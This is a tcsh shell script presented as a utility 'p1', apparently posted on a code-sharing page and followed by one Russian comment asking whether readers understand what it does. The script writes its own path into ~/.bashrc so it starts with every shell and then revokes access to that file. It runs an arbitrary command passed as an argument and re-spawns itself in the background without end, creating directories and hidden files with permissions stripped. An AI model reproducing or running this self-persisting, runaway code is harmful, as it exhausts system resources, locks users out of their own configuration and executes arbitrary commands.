- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
guest 27.04.2009 15:25 # +1
Вы хоть понимаете что он делает?